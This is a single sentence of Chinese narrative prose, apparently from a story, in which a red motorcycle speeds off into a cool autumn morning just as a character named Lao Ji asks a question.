老季的询问声还未落地,楼下的红色摩托车已经像剑矢一样,在微凉的秋日清晨里飞了出去。